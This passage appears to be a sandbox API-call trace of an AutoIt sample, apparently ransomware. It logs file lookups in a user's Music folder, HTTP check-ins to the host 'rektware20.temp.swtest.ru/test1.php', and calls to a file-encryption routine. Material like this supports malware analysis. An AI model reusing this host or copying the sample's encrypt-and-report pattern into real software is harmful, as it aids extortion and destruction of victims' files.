lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0063.582] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0063.582] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.582] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0063.583] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0063.583] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0063.583] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0063.583] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620dc0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620dc0, lpdwBufferLength=0x130ef8c) returned 1 [0063.583] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0063.583] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0063.584] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0063.585] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0063.585] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0063.585] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0063.585] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292b0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0063.585] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292c0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292c0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0063.585] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0063.586] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0063.586] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0063.586] CloseHandle (hObject=0x0) returned 0 [0063.586] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.586] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.586] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.586] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.586] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.586] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.586] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.586] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.586] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.586] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.586] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.586] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.586] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.586] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.586] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.586] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.586] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.586] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.586] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.586] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.586] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.586] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.587] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.587] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="usic\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.587] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sic\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.587] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ic\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.587] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.587] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.587] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.587] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LxtGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.587] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xtGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.587] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.587] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ge9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.587] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.587] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.587] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.587] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.587] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.587] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.587] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.587] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.587] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.587] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.587] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.587] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Qi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.587] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.587] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.587] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Tkc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.587] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kc4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.587] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.587] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.587] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UphT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.587] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="phT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.587] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hT\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.587] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="T\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.587] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.587] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.588] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.588] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="MTWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.588] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TWC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.588] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WC1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.588] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.588] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.588] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vtK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.588] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tK_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.588] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="K_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.588] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.588] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pJ.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.588] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="J.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.588] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0063.588] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.588] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.588] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0063.588] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0063.588] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0063.588] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0063.588] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0063.588] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0063.588] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0063.588] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620ee0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620ee0, lpdwBufferLength=0x130ee1c) returned 1 [0063.588] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0063.588] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0063.589] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0063.589] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0063.589] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0063.589] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0063.589] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0063.589] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629380, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629380*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0063.589] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0063.590] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0063.590] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0063.590] CloseHandle (hObject=0x0) returned 0 [0063.590] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.590] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\n0MTWC1vtK_pJ.mp3", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0063.590] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0063.590] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.590] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0063.590] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.590] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.590] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0063.590] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.590] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0063.591] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.591] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.591] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0063.591] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.591] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.591] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.591] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.591] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.591] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0063.591] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0063.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0063.591] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0063.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0063.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0063.592] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0063.592] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17ab880) returned 1 [0063.592] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.592] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.592] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0063.593] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.593] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.593] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.593] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.593] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, 